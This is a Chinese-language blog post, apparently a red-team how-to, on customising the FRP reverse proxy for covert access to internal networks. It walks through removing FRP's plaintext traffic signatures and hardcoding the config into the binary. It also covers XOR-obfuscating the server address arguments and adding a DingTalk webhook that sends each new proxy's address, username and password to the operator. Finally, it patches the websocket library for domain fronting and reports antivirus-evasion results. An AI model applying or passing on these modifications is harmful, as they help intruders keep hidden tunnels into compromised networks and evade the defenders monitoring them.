FRP魔改
FRP魔改
Todo:
去除非 TLS 流量特征
frp/pkg/msg/msg.go
配置文件写入源码
frp/cmd/frpc/sub/root.go
通过参数传入 IP 端口,且参数异或加密,便于隐藏
frp/cmd/frpc/sub/root.go
钉钉上线提醒
frp/client/control.go
域前置:通过 websocket 协议让 FRP 上域前置
go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/client.go
go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/hybi.go
pkg/util/net/websocket.go
文中相关流量包:frp-wireshark.zip
基本运行
启动
Bash1
2
3
4
5
6
7
8# FrpServer
$ ./frps -c frps.ini
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000Bash1
2
3
4
5
6
7
8
9
10
11
12
13# FrpClient
$ ./frpc -c frpc.ini
# frpc.ini
[common]
server_addr = 192.168.111.1
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5编译,运行
package.sh
即可交叉编译并打包各系统可执行文件Bash1
2$ ./package.sh
环境:这里用 Docker 起了个漏洞环境来模拟内网,IP为
172.18.0.2
,实体机是无法访问的Bash1
2
3# 查看容器IP地址
$ docker inspect <容器ID>
- Proxy 配置:IP 为
frpc.ini
中的server_addr
,Port 为frpc.ini
中的remote_port
非TLS流量特征
没有启用 TLS 时,frpc 在连接认证 frps 的时候会把 FRP 版本等信息发给 frps 进行认证。通过追踪 TCP 流量可以看到这些信息,目前一些流量设备就通过这个特征来识别 FRP 代理
可以看到有如下几个字段值:version, os, arch, privilege_key, pool_count, run_id
去除的方法就是修改这些特征值即可,定位到frp/pkg/msg/msg.go
文件
修改这些结构体的字段,如下:
1 | type Login struct { |
这里发现下面还有一个run_id
,这个是在NewWorkConn
结构体中的,修改方法同样
然后配置代理进行测试,可以正常连接
在frp/client/service.go
文件中可以看到这里的loginMsg
调用了前面那些变量
如果想要进一步修改,可以跟进并修改变量的值。如跟进version.Full()
,可以直接修改version
变量
启用TLS及加密压缩
从v0.25.0
版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输,安全性更高。
1 | [common] |
另外还可以启用加密和压缩,将通信内容加密传输,将会有效防止流量被拦截。
1 | [common] |
配置文件写入源码
将配置文件写入源码,且通过参数传递 IP
直接在frp/cmd/frpc/sub/root.go
文件中添加一个参数
1 | // 定义全局变量 |
然后在init
函数中定义传参
1 | func init() { |
另外还要修改runClient()
函数,但这里参考文章中的parseClientCommonCfg()
函数在新版本已经删除,所以需要寻找其它函数
其实这一步的主要的作用的将前面自定义的配置信息进行解析,这里跟进原版runClient()
函数中的config.ParseClientConfig()
函数
跳转到frp/pkg/config/parse.go
文件中,这里发现存在UnmarshalClientConfFromIni()
函数来解析content
配置信息,且该变量为[]byte
类型
Go 语言不支持重载,所以这里自定义一个runClient2()
函数,接收ip,port
两个参数,然后通过前面定义的getFileContent()
函数获取fileContent
,并转换为[]byte
类型的content
,然后套用config.ParseClientConfig()
函数中前面图中的两部分
1 | // 自定义函数进行处理 |
最终在图中下面调用runClient()
函数的地方修改为runClient2()
,上面的是为一个配置目录内每个配置文件都起一个 frpc,因此不需要修改
经测试可以正常使用
传参加密混淆
前面直接传递 IP、Port 等参数容易留下痕迹,因此可以对传递的参数进行加密混淆,并在源码中进行解密
前面是通过frp/cmd/frpc/sub/root.go
文件中的getFileContent()
函数来接收 IP、Port 并拼接到配置信息的,所以可以在这个函数中进行解密操作。
这里实现一个异或函数,并在接收到参数后进行调用
1 | // 实现异或函数 |
附带一个简单的异或小脚本
1 | def str2xor(messages, key): |
测试,其中服务端 IP192.168.111.1
异或后为E\AZZSAZTBEET
,端口7000
异或为CUCD
。异或后的字符串可能存在特殊字符\
,因此建议使用双引号包裹
1 | $ ./frpc_linux_amd64_xor -t "E\AZZSAZTBEET" -p "CUCD" |
其实这些都是在应用层进行加密混淆,实际上在网络层还是可以看到流量。因此,还需要进行例如域前置等操作来进一步隐藏
钉钉上线提醒
- 在
frp/client/control.go#HandleNewProxyResp()
函数中填入钉钉机器人AccessToken
和Secret
,然后在前面硬编码的配置部分添加相关plugin_user
和plugin_passwd
即可。此处使用了https://github.com/wanghuiyt/ding,需要先下载依赖并导入,否则会编译失败Go1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37func (ctl *Control) HandleNewProxyResp(inMsg *msg.NewProxyResp) {
xl := ctl.xl
// Server will return NewProxyResp message to each NewProxy message.
// Start a new proxy handler if no error got
err := ctl.pm.StartProxy(inMsg.ProxyName, inMsg.RemoteAddr, inMsg.Error)
if err != nil {
xl.Warn("[%s] start error: %v", inMsg.ProxyName, err)
} else {
// 配置钉钉机器人
dingAccessToken := ""
dingSecret := ""
if dingAccessToken != "" && dingSecret != "" {
addr := ctl.clientCfg.ServerAddr + inMsg.RemoteAddr
var plugin_user string
var plugin_passwd string
for _, v := range ctl.pxyCfgs {
plugin_user = v.GetBaseInfo().LocalSvrConf.PluginParams["plugin_user"]
plugin_passwd = v.GetBaseInfo().LocalSvrConf.PluginParams["plugin_passwd"]
}
d := ding.Webhook{
AccessToken: dingAccessToken,
Secret: dingSecret,
}
_ = d.SendMessage(
"Proxy:" + inMsg.ProxyName + "\n" +
"Server:" + addr + "\n" +
"Username:" + plugin_user + "\n" +
"Password:" + plugin_passwd + "\n" +
"Time:" + time.Now().Format("2006-01-02 15:04:05"))
}
xl.Info("[%s] start proxy success", inMsg.ProxyName)
}
}
域前置
原理
网上看了很多关于 FRP 域前置的文章,发现很多文章都提到需要“通过 Websocket 协议让FRP用上域前置”,但大部分都是上来就是实现 WSS 协议(后续官方 v0.21.0 版本支持该协议:frp/pull/1919),或者是修改 Websocket 相关第三方依赖包等等。很少有解释为什么要实现 Websocket 协议而不是直接使用 HTTP 协议,直到看到 frp改造3-CDN 这篇文章:
原来一直考虑的是在数据外封装一层 HTTP 协议来转发,但经过CDN转发会存在会话不一致的问题,因为本身也只是模拟 HTTP 协议,没法完全实现 HTTP 会话功能等
Websocket 只需要一次 HTTP 握手,后续整个通讯过程都是建立在一次连接/状态中,交换的数据不再需要 HTTP 头
测试
先在 Frp Client 所在机器修改本地 Hosts 文件来模拟 DNS 域名解析,然后修改配置使用 Websocket 协议
Bash1
2
3# /etc/hosts
192.168.111.1 cdn.naraku.localBash1
2
3
4
5
6
7
8
9
10
11# frpc.ini
[common]
server_addr = cdn.naraku.local
server_port = 7000
protocol = websocket
[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5抓包并追踪 TCP 流量,可以看到该认证使用了 Websocket 协议
- 如果要实现域前置,则还需要将 Host 修改为指定的回源域名。但是 FRP 默认 Host 是连接地址,虽然目前版本的 FRP 可以自定义添加 Header:https://gofrp.org/docs/features/http-https/header/,但是仅支持 HTTP 协议。而这里使用的是 Websocket 协议,因此需要修改相关依赖包代码
修改
在之前的版本中,FRP 是在frp/pkg/util/net/websocket.go#ConnectWebsocketServer()
方法中调用了 Websocket,而该方法在 frp/commit/ea568e 中被移到了frp/pkg/util/net/conn.go#DialWebsocketServer()
,然后又在 frp/commit/70f4ca 又移到了frp/pkg/util/net/dial.go#DialHookWebsocket()
方法。下面主要围绕如下两个方法进行改动:
跟进websocket.NewConfig()
,跳转到go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/client.go#NewConfig()
这里如果想从配置文件中读取回源域名 Host 的话,改动的地方比较多。例如需要先从frp/cmd/frpc/sub/root.go#RegisterCommonFlags()
中注册变量,然后在models/config/client_common.go#ClientCommonConf{}
结构体中新增属性,然后在一系列调用函数中新增该参数,相对比较麻烦。详细可参考:https://xz.aliyun.com/t/11460#toc-2
这里考虑到回源 Host 不会经常变动,并且不会泄露敏感信息,所以选择将其硬编码在代码中。修改方法如下:
1 | func NewConfig(server, origin string) (config *Config, err error) { |
然后跟进DialHookWebsocket() > websocket.NewClient() > hybiClientHandshake()
,跳转到go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/hybi.go#hybiClientHandshake()
这里是 WSS 协议配置 Host 的地方,默认的 Host 是请求地址。这里主要实现从请求头中获取Host
属性,如果存在则进行赋值,覆盖掉前面的默认值。修改如下:
1 | func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) { |
修改root.go#getFileContent()
函数,启用 Websocket 协议,并关闭 TLS 方便调试,如下:
运行,可以看到 Host 已经改变
1 | $ ./frpc_0.44.0_linux_amd64 -t "E\AZZSAZTBEET" -p "CUCD" |
这里还有一个比较明显的特征/~!frp
,修改pkg/util/net/websocket.go
中FrpWebsocketPath
变量即可
1 | const ( |
免杀测试
- 直接编译,原生免杀,但是还是有部分厂商查出,应该是提取了 FRP 的样本特征:https://www.virustotal.com/gui/file/8a68d600d6c009f10a33eac67871f418f23120469111dc8656b7abb0d33fca49
- UPX,好像用处不大:https://www.virustotal.com/gui/file/2a19b78afc7c62f121108ecd6dde950dd8a5bccb8b5c3059dbc2de372e9fbd54